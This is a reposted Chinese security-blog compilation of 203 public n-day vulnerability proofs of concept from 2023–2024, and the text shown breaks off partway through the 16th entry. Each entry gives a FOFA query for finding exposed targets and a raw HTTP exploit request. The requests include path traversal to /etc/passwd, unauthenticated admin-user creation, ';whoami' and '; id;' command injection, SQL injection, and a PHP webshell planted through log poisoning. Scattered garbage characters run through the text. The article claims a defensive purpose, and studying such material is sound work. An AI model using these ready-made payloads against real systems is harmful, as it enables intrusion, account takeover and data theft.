互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
) a5 ?; I4 L' j. V1 K: h) S" \以下文章来源于网络安全新视界 ，作者网络安全新视界

# i. `: Z% D! [3 u$ f( i. |5 B发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
0 E. {8 i5 @% H
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

4 r' ]- D. ~9 F1 x安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

& e8 f; d, v" k' K合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
3 p2 ^# Z" R* }( r6 A& R

声明
, Y4 P, s; K$ p: m- |* Z* Y
- v! }" a( D2 f$ Z/ A) Y为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。


; L! M  p/ h: n7 v. R, g& M: h: p/ J
# _& p! ], g! }1 B/ d9 r3 |目录
( y6 k5 S: ?% W+ H5 m( Z/ d
01

1. StarRocks MPP数据库未授权访问
5 e' r! [3 L9 K  Q2 `% w2. Casdoor系统static任意文件读取
6 ?6 h! D! O* {# W3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
, g4 t) ]) n$ t* ~( x' \9 Q6. 深信服 NGAF 任意文件读取
- n7 Y* l& B* A" j, `7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
+ r" v0 @! N, x( U6 k3 Z" T- ^3 C9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
; m3 W/ f( e6 [; q13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
! b' {& Q! G% H0 Q$ @9 a- n$ z18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
5 l$ Q+ d4 c6 O9 P' P19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
; \$ ?6 H' \9 W22. 大华ICC智能物联综合管理平台 log4j远程代码执行
$ t% d7 Z$ c" E/ M+ N% H% J23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
' C8 H8 I5 K& ^$ }  n25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
9 _! m1 J/ E# G$ {28. 用友NC grouptemplet 任意文件上传
$ i8 z9 y7 Y) \29. 用友NC down/bill SQL注入
4 }% S5 F9 D& w; A- n30. 用友NC importPml SQL注入
( }9 H; f/ U3 f& M- F% O4 b7 A31. 用友NC runStateServlet SQL注入
6 {6 C1 `2 @' \32. 用友NC complainbilldetail SQL注入
2 Y" F' Z8 H0 @/ {. j0 \, b33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
/ d3 W# {/ [2 b8 X7 [  j35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
5 T5 {* f8 Z% o- p, a$ d1 ]37. 用友NC-Cloud IUpdateService XXE
0 `* s$ F8 v, B- `38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
7 h  {+ _( A" n- e40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
2 |0 [: Z% s3 t' W9 v- f45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
' i! R2 }; c& C. ~. D: O) h5 W48. 用友U8 CRM swfupload 任意文件上传
7 f  f9 ~& O% [4 }49. 用友U8 CRM系统uploadfile.php接口任意文件上传
- Y0 S  W$ w& H3 _# K) _! Y$ [+ h  j50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
0 w4 {( E0 B: x) U/ h52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
  y1 W7 n$ P: r  M5 E/ q- e9 j59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
: h& _2 \* |; _61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
  b6 `. X- {1 b6 P# Y$ h- p# l! B63. IP-guard WebServer任意文件读取
: e- j- m& g$ a( i/ o3 u64. 捷诚管理信息系统CWSFinanceCommon SQL注入
! `+ B/ q+ [8 X8 \65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
& O- c0 u) H) A* W3 r* C66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
2 I% O5 C% ~4 i  E71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
# f$ O4 x/ B3 ^. y77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
  H1 h, X/ G* h" F6 ^+ \79. BYTEVALUE 百为流控路由器远程命令执行
5 Q4 y; J" f+ \: a80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
4 E5 T/ ~' R% t1 R9 R0 J4 T82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
7 p* M7 m& k5 @* L, }+ g83. JeecgBoot testConnection 远程命令执行
' t$ r) n4 {. i) h84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
4 ?, e+ B# I3 o" h" s$ p85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
  d- J5 B7 _. V6 w! Q& l6 b7 r87. 安恒明御安全网关aaa_local_web_preview文件上传
' Y/ j" ?$ ~$ k/ a( o88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
: |0 T( e& ]" g7 V89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
, @4 Z; F1 J# o% N1 C6 P92. 海康威视运行管理中心session命令执行
% P% r# E3 i$ C1 u+ r93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
# ^  `" Q2 I' h94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
, g+ ]9 M. [$ a) G% b) V  ^/ ~96. Apache OFBiz  18.12.11 groovy 远程代码执行
1 Z6 u' Z! h4 ^. s8 p6 w, T97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
2 X- m9 C, [1 B: m  r# {0 X3 \109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
, z& ]+ O# A$ ?2 F111. WordPress Plugin HTML5 Video Player SQL注入
7 D! s( t+ V3 O! d- g+ B& J112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
, G! `0 |9 K; |% ?5 @114. WordPress MasterStudy LMS插件 SQL注入
8 s8 ~4 u+ K( B- |$ h115. WordPress Bricks Builder <= 1.9.6 RCE
/ i/ _4 C1 l$ U116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
* _+ N1 \, l2 s( y& `% X2 \118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
/ x' I2 I- O+ a9 ?5 }& U. s! _! P- F119. 北京百绰智能S20后台sysmanageajax.php sql注入
* }% \* ~; s+ G5 k3 t9 D! A( F/ I120. 北京百绰智能S40管理平台导入web.php任意文件上传
1 G% f, ~6 }; L3 {% b121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
" w  n! b) F  S/ n125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
$ ]& _. ~. v6 e+ [/ q) c127. 广联达Linkworks DataExchange.ashx XXE
! k7 H: c* _; H7 L128. Adobe ColdFusion 反序列化
& Q& E1 ?- p! p# h: d9 u* J1 q0 ~129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
5 {8 B9 k' K& Z, |131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
+ o" D- y* q! |, S& D& K9 e6 T133. H5 云商城 file.php 文件上传
& Z" S5 o1 K# Q, h2 W134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
( b) X: y* b- J" H137. 福建科立迅通信指挥调度平台down_file.php sql注入
* Q$ o7 ?( A1 b$ g138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
8 p: W0 A: Y" @8 ^  u. w# B140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
+ I8 Q: C% u: p" O- X, j141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
6 w, G( E/ _* m1 R1 o142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
! T+ y8 a  \% L8 U; ?144. D-Link nas_sharing.cgi 命令注入
1 U- G, n# c. _9 O& ]% b, l145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
& R/ N# ^6 s" Y& r9 \5 Z146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
& x0 V: U  O$ w8 v148. CrushFTP 认证绕过模板注入
. [* X: N3 B5 b2 s: X149. AJ-Report开源数据大屏存在远程命令执行
  E0 u* a' P7 k  u1 }9 _150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
. r. @2 s5 F& ~9 ?% j$ s5 ~154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
- A$ `7 \2 M4 i7 L. ^3 {158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
4 z1 _. a" O3 l% z5 m+ C161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
1 E; {! Z* @6 I& ?+ X: n* o163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
8 }1 H7 ^6 }+ V7 _# `166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
3 n$ ?  n! K, u' k169. 宏景EHR downlawbase SQL注入
" w5 Y' N* k" F0 t$ A' M/ S  f6 b170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
! n/ Q# D5 p$ L! G4 F9 s172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
* ]  B: U, e; X: o0 A; X3 D175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
1 [9 r1 e- ]' f  k- @176. 电信网关配置管理系统 rewrite.php 文件上传
( m8 J4 G% E  W2 O% K" `4 o; b& u177. H3C路由器敏感信息泄露
! p4 f' i+ [' g9 B# \1 p; v2 B178. H3C校园网自助服务系统-flexfileupload-任意文件上传
7 V0 i7 S- g8 o) i4 v179. 建文工程管理系统存在任意文件读取
  C: ?# R# q3 t# v180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
  n6 q+ j2 ?, w3 l/ c182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
  ~0 K: U! Y$ G' `9 l( Y. m184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
2 y8 g7 J9 X4 T: H& Z5 \/ R3 |: i187. Mura CMS processAsyncObject SQL注入
, `. X# Y5 ~# x  d188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
; M# T2 e$ Y9 [8 ~1 D8 c$ _190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
/ [# ]( N3 a1 J$ n! ?5 A# H194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
( c8 F4 G# Y0 Z9 O3 u7 O/ C196. 河南省风速科技统一认证平台密码重置
7 Q3 E) S" i3 _5 m197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
4 m1 _$ s6 Q, U4 W198.  阿里云盘 WebDAV 命令注入
& k" a: P% X1 X199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
' y; D6 Y0 p& f9 F9 z& C) X203. 红海云EHR PtFjk 文件上传

& t6 H8 C  j9 {: @POC列表

" K/ c. f7 p% G, s! ~- M- I& V02
9 a8 O5 n3 }/ [, N4 E- O+ S3 r
1. StarRocks MPP数据库未授权访问
: \/ S' s" w7 uFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
4 t% H6 t# c2 y' B6 B0 v, FHost: URL

5 D' |- A6 M: H2 ]6 G+ N; H
2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
+ j" r' U1 L& C( ?* h. M7 h# e4 dGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
: L$ H' b( v6 C! _- D1 F/ KUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) [  [" w: S6 n9 U. O2 n1 KConnection: close
0 K1 {8 Q, G( ^& {4 x, lAccept: */*
Accept-Language: en
8 `' F9 B0 y' YAccept-Encoding: gzip

' d8 m7 s& {; B! M' e
3. EasyCVR智能边缘网关 userlist 信息泄漏
. ^5 ^, k0 @4 AFOFA ：title="EasyCVR"
7 l/ E  b! l4 Z8 T' eGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
/ E6 P3 X) _  j3 p; r& qHost: xx.xx.xx.xx
+ {! ]2 z  d0 _$ L( y
- P9 |# A+ h* N+ U1 w
4. EasyCVR视频管理平台存在任意用户添加
5 t+ Y% X! Y" a9 z3 dFOFA ：title="EasyCVR"
* c& ?, I5 d3 @2 Z% k8 x! t
/ S! p& v3 n* t" Vpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
6 f" c& o! @( f. F, s
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

7 @- @; W  a" U5 T9 N
, R+ ]8 f" |" u0 P& M6 P5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
/ T, l, ]  Z, Y2 ^7 i; y; @# \GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
. j& C; Q3 a/ _! F! WHost: xx.xx.xx.xx
' j: ?3 J8 E  H9 |6 N

6. 深信服 NGAF 任意文件读取
5 A2 M0 g; F+ K' K- b9 uFOFA：title="SANGFOR | NGAF"
3 B- a, V  M  m+ C$ I  d6 p' N/ ?GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
, i+ u* e: g. p! G% t2 ~/ k

) L. t4 h, p" n( b- Q  b7. 鸿运主动安全监控云平台任意文件下载
; X8 ?# C& W) X8 ^FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
8 _& t, M# k6 U; r. G' D0 F$ [1 wHost:
0 q% ~4 J* F; ?

8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
% e* I, b# l2 ~+ C0 d默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
" l6 T: [% c5 E1 k  J, V: EHost: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
1 g7 R; n$ l" T3 ]) F- A, H2 v- kContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
; [0 [' w% @+ K& G- A+ x# {Content-Disposition: form-data; name="wifiRebootEnablestatus"
1 d8 A' b; @2 K+ ^# i* k
%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
/ y0 z+ Q- t4 n7 B" P1 W* F1 w
%s:
+ v2 H& _% l: |/ y! U3 R------WebKitFormBoundaryxbgjoytz
& u* u  [1 i& k% d; }4 ?Content-Disposition: form-data; name="cururl2"
, K3 d( B+ S- n" l( X
$ D  A, k, g; D% A' r
------WebKitFormBoundaryxbgjoytz--

( y. {. L, g' [* H* h: I
5 @! f. G9 d* e3 O2 H+ }7 e" A- v9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
$ @& y; y) c/ y. c4 j5 y, _  }; ^
4 p9 F2 q  I* j8 w. T/ ~
payload为下列语句的二次Url编码

7 O. X# ?3 C) `! e4 j/ Z) ]- `' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

) g! b5 \8 G% _2 W6 y& H10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"
8 w. v" l+ b+ A' u0 B
' {. m% b. m  Q! B9 {# m; g' W文件上传后响应中包含上传文件的路径
( Y7 y& ]/ H8 O- C* NPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
3 f4 l- {# a) P' t  U9 J9 g+ k! [Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
6 x6 C3 b# i$ E# X: eAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
# {' f, q% t, T/ L8 q- V
------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--


& F. K. ^" _4 `% e$ R' J# K! B11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
! ^$ [! e& u+ r0 T1 VFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
% z. R7 q6 ]: h) GGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
3 \! t9 J! W# j% D2 u+ N/ S$ l: mUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
9 u+ T( v7 Q8 u8 n9 i+ ^, mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 j7 I6 M+ K7 ], D- E; PAccept-Encoding: gzip, deflate
: M# f5 Z! }0 ]: p% l+ G* xAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
9 o$ r1 e8 b$ U% V& v9 f  ]+ p9 gConnection: close


12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
- u4 Z9 L# K' A8 |  y, [. P! ^第一步先拿到cookie
; A# |$ S, ?3 [  ?  K  WGET /session/login HTTP/1.1
8 E  A' H5 s+ C! @% X- p; }Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
( G( X. H4 [/ o4 ?1 @Connection: close
Accept-Encoding: gzip

: ?4 Q8 d3 P1 N; Z
* K$ f3 O9 Y# C2 O) N; {3 v9 C! Q响应中csrf_cookie_jorani用于后续请求
$ k+ ]  g+ @% Q& e0 q/ v8 Z5 ^1 nHTTP/1.1 200 OK
7 b' c, X: J' n+ ?) G$ R) N! WConnection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
* Z" k4 R* e: cLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
$ A: D4 j* k' v0 W2 ^( yServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
) [7 F0 L4 W7 _. r6 m2 |  Z5 N

POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
% \2 q5 t  B5 _/ [7 u: zHost: 192.168.190.30
+ E" ^  @* v- [0 E2 j# }7 PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
3 N5 y; k) v' [" Z+ l5 S8 h7 t& pConnection: close
2 q5 E' W  w4 Y9 ]5 \Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
1 j" K$ z! I! r# @' n2 `! s8 WAccept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

4 y. _! j. _' K8 _' y

3 q* v( E2 ^7 K4 W) s( O( v: k向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
$ |* v4 J) ~/ s+ M$ C" r& x; hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
2 Y6 S9 i' m! R/ |7 sX-REQUESTED-WITH: XMLHttpRequest
4 L, L( p: u- @4 m. CAccept-Encoding: gzip

0 R0 {7 ~+ Z+ M2 ]' p, q5 o- w
# K4 o, h# _2 E& F13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
/ u2 O' C8 @5 \, v! p/ nGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
2 y/ k  j( w! E5 B! QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
7 B2 V2 j  Z- v3 s% G- n$ G8 b0 UConnection: close
Accept: */*
2 n" L0 e0 ?" U: rAccept-Encoding: gzip


! z" c+ O9 ?: W# W% f14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
- b3 i: {& K: S( j. m* E泄露内容包括用户名密码
+ l* e2 ]; V( L: v2 U  @( QGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
; b. `6 E! f0 tConnection: close
6 w4 [$ E6 |: Z, n- v/ lAccept: */*
2 M6 W" x; M# S3 z0 P  f' WAccept-Language: en
Accept-Encoding: gzip
2 N( P: c- C2 [; e% c: h# j

5 R, r: g# v! N15. 华夏ERP getAllList信息泄露
CVE-2024-0490
, O% _" u7 M0 G) GFOFA：body="jshERP-boot"
泄露内容包括用户名密码
0 w) \2 v( {5 ?, W7 eGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
# d6 [) c  ^; O1 LAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip


8 r0 w$ b0 ]0 h# I% ~16.  红帆HFOffice医微云SQL注入
2 o2 m4 w# i/ F$ Z; ~/ JFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
; _7 k  o' j. K2 J' bGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
